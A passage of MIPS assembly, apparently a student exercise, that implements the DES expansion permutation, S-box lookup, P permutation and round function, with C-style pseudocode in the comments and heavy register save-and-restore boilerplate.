lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
#funcE----------------------------------------------------
#$s0 #l
#$s1 #r
#jal funcE
#void funcE(int &l,int &r){
# int map[48]={32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1};
# int hl=l;
# int hr=r;
# for (int t=0;t<48;t++){
# if (t>23){
# setB(hr,getB(r,map[t]),t-23);
# }
# else{
# setB(hl,getB(r,map[t]),t+1);
# }
# }
# r=hr;
# l=hl;
#
# r=r>>8;
# r=r<<8;
# l=l>>8;
# l=l<<8;
#}
funcE:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
add $t5,$s0,$zero #hl
add $t6,$s1,$zero #hr
addi $s7,$ra,0
li $t8,0 #t
li $t1,0 #map[t]
funcE_check:
slt $t2,$t8,48
beq $t2,$zero,funcE_exit
funcE_loop:
lb $t1,map_funcE($t8) #map[t]
funcE_get_r:
addi $t3,$t1,0
li $t7,23
slt $t2,$t7,$t8
beq $t2,$zero,funcE_get_r_set_l
funcE_get_r_set_r:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,-23
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t6,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t6,$v1,0
j funcE_ex
funcE_get_r_set_l:
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s1,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
j funcE_ex
funcE_ex:
addi $t8,$t8,1 #i+=1
j funcE_check
funcE_exit:
add $ra,$zero,$s7
add $s5,$zero,$t6 #r
add $s6,$zero,$t5 #l
srl $v0,$s5,8
sll $v0,$v0,8
srl $v1,$s6,8
sll $v1,$v1,8
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0,v1
#----------------------------------------------------------
#lastP----------------------------------------------------
#$s0 #s
#jal lastP
#int lastP(int s){
# int map[32]={16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25};
# int ss=0;
# for (int t=0;t<32;t++){
# setB(ss,getB(s,map[t]),t+1);
# }
# return ss;
#}
lastP:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
add $t5,$s0,$zero #ss
addi $s7,$ra,0
li $t8,0 #t
li $t1,0 #map[t]
lastP_check:
slt $t2,$t8,32
beq $t2,$zero,lastP_exit
lastP_loop:
lb $t1,map_lastP($t8) #map[t]
lastP_get_r:
addi $t3,$t1,0
#getB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t3,0 #loc
addi $a0,$s0,0 #in
jal getbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end getbit-------
addi $t3,$t8,1
#setB() ---------
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a2,$t3,0
addi $a1,$v1,0
addi $a0,$t5,0
jal setbit
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
#end setbit-------
ori $t5,$v1,0
lastP_ex:
addi $t8,$t8,1 #i+=1
j lastP_check
lastP_exit:
add $ra,$s7,0
add $v0,$zero,$t5 #ss
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v0
#----------------------------------------------------------
#funcS----------------------------------------------------
#$a0 #num
#$a1 #row
#$a2 #column
funcS:
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s7,$ra,0
#int funcS(int num,int row,int column){
# int S[512]={14,4,13,1,2,15,11,8,3,10,6,12,5,9,0,7,
# 0,15,7,4,14,2,13,1,10,6,12,11,9,5,3,8,
# 4,1,14,8,13,6,2,11,15,12,9,7,3,10,5,0,
# 15,12,8,2,4,9,1,7,5,11,3,14,10,0,6,13,
# 15,1,8,14,6,11,3,4,9,7,2,13,12,0,5,10,
# 3,13,4,7,15,2,8,14,12,0,1,10,6,9,11,5,
# 0,14,7,11,10,4,13,1,5,8,12,6,9,3,2,15,
# 13,8,10,1,3,15,4,2,11,6,7,12,0,5,14,9,
# 10,0,9,14,6,3,15,5,1,13,12,7,11,4,2,8,
# 13,7,0,9,3,4,6,10,2,8,5,14,12,11,15,1,
# 13,6,4,9,8,15,3,0,11,1,2,12,5,10,14,7,
# 1,10,13,0,6,9,8,7,4,15,14,3,11,5,2,12,
# 7,13,14,3,0,6,9,10,1,2,8,5,11,12,4,15,
# 13,8,11,5,6,15,0,3,4,7,2,12,1,10,14,9,
# 10,6,9,0,12,11,7,13,15,1,3,14,5,2,8,4,
# 3,15,0,6,10,1,13,8,9,4,5,11,12,7,2,14,
# 2,12,4,1,7,10,11,6,8,5,3,15,13,0,14,9,
# 14,11,2,12,4,7,13,1,5,0,15,10,3,9,8,6,
# 4,2,1,11,10,13,7,8,15,9,12,5,6,3,0,14,
# 11,8,12,7,1,14,2,13,6,15,0,9,10,4,5,3,
# 12,1,10,15,9,2,6,8,0,13,3,4,14,7,5,11,
# 10,15,4,2,7,12,9,5,6,1,13,14,0,11,3,8,
# 9,14,15,5,2,8,12,3,7,0,4,10,1,13,11,6,
# 4,3,2,12,9,5,15,10,11,14,1,7,6,0,8,13,
# 4,11,2,14,15,0,8,13,3,12,9,7,5,10,6,1,
# 13,0,11,7,4,9,1,10,14,3,5,12,2,15,8,6,
# 1,4,11,13,12,3,7,14,10,15,6,8,0,5,9,2,
# 6,11,13,8,1,4,10,7,9,5,0,15,14,2,3,12,
# 13,2,8,4,6,15,11,1,10,9,3,14,5,0,12,7,
# 1,15,13,8,10,3,7,4,12,5,6,11,0,14,9,2,
# 7,11,4,1,9,12,14,2,0,6,10,13,15,3,5,8,
# 2,1,14,7,4,10,8,13,15,12,9,0,3,5,6,11};
# return (S[(num-1)*64+row*16+column]);
#}
addi $a0,$a0,-1
sll $a0,$a0,6
sll $a1,$a1,4
add $a0,$a0,$a1
add $a0,$a0,$a2
lb $v1,map_S($a0)
addi $ra,$s7,0
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s6,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
jr $ra
#OutPut:=v1
#----------------------------------------------------------
#funcF----------------------------------------------------
funcF:
#$a0 #r
#$a1 #kl
#$a2 #kr
#jal funcF
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s6,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
#int funcF(int r,int kl,int kr){
# int er=r,el=0;
# funcE(el,er);
# kl=kl^el;
# kr=kr^er;
# int b=0;
# int s=0;
# for (int i=8;i>0;i--){
# if (i>4){
# b=getV(kr,i*6-24-5,i*6-24);
# }else {
# b=getV(kl,i*6-5,i*6);
# }
# int column=getV(b,28,31);
# int row=getV(getV(b,32,32)|(getV(b,27,27)<<1),30,32);
# s+=funcS(i,row,column)<<(8-i)*4;
# }
# return lastP(s);
#}
addi $s7,$ra,0
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$zero,0
addi $s1,$a0,0
jal funcE
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
xor $a1,$a1,$v0 #kr
xor $a2,$a2,$v1 #kl
li $s0,0 #s
li $s1,0 #b
li $t8,8 #i
check_funcF:
slt $t2,$zero,$t8
beq $t2,$zero,exit_funcF
loop_funcF:
li $t3,4
slt $t2,$t3,$t8
beq $t2,$zero,do_funcF_2
do_funcF_1:
#b=getV(kr,i*6-24-5,i*6-24);
addi $s0,$a1,0
li $t2,6
mul $t2,$t2,$t8
addi $t2,$t2,-29
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t2,0 #b
addi $a0,$a1,5 #e
addi $a2,$s0,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s1,$v1,0
j funcF_ex
do_funcF_2:
#b=getV(kl,i*6-5,i*6);
addi $s0,$a2,0
li $t2,6
mul $t2,$t2,$t8
addi $t2,$t2,-5
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$t2,0 #b
addi $a0,$a1,5 #e
addi $a2,$s0,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $s1,$v1,0
funcF_ex:
#int column=getV(b,28,31);
#int row=getV(getV(b,32,32)|(getV(b,27,27)<<1),30,32);
#s+=funcS(i,row,column)<<(8-i)*4;
li $t4,0#column
li $t5,0#row
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$zero,28 #b
addi $a0,$zero,31 #e
addi $a2,$s1,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t4,$v1,0#column
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$zero,32 #b
addi $a0,$zero,32 #e
addi $a2,$s1,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t0,$v1,0#column
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$zero,27 #b
addi $a0,$zero,27 #e
addi $a2,$s1,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t1,$v1,0 #column
sll $t1,$t1,1
or $t1,$t1,$t0
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a1,$zero,30 #b
addi $a0,$zero,32 #e
addi $a2,$t1,0 #in
jal getV
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t1,$v1,0 #row
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $a0,$t8,0 #num
addi $a1,$t1,0 #row
addi $a2,$t4,0 #column
jal funcS
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
lw $s6,60($sp)
lw $s5,64($sp)
lw $s4,68($sp)
lw $s3,72($sp)
lw $s2,76($sp)
lw $s1,80($sp)
lw $s0,84($sp)
addi $sp,$sp,88
#--------------------------
addi $t1,$v1,0 #funcS
sub $t0,$zero,$t8
addi $t0,$t0,8
sll $t0,$t0,2
sll $t1,$t1,$t0
add $s6,$s6,$t1
addi $t8,$t8,-1
j check_funcF
exit_funcF:
addi $s0,$s6,0 #s
#-save--------------------
addi $sp,$sp,-88
sw $s0,84($sp)
sw $s1,80($sp)
sw $s2,76($sp)
sw $s3,72($sp)
sw $s4,68($sp)
sw $s5,64($sp)
sw $s6,60($sp)
sw $s7,56($sp)
sw $t0,52($sp)
sw $t1,48($sp)
sw $t2,44($sp)
sw $t3,40($sp)
sw $t4,36($sp)
sw $t5,32($sp)
sw $t6,28($sp)
sw $t7,24($sp)
sw $t8,20($sp)
sw $t9,16($sp)
sw $a0,12($sp)
sw $a1,8($sp)
sw $a2,4($sp)
sw $a3,0($sp)
#--------------------------
addi $s0,$s0,0 #num
jal lastP
#-load---------------------
lw $a3,0($sp)
lw $a2,4($sp)
lw $a1,8($sp)
lw $a0,12($sp)
lw $t9,16($sp)
lw $t8,20($sp)
lw $t7,24($sp)
lw $t6,28($sp)
lw $t5,32($sp)
lw $t4,36($sp)
lw $t3,40($sp)
lw $t2,44($sp)
lw $t1,48($sp)
lw $t0,52($sp)
lw $s7,56($sp)
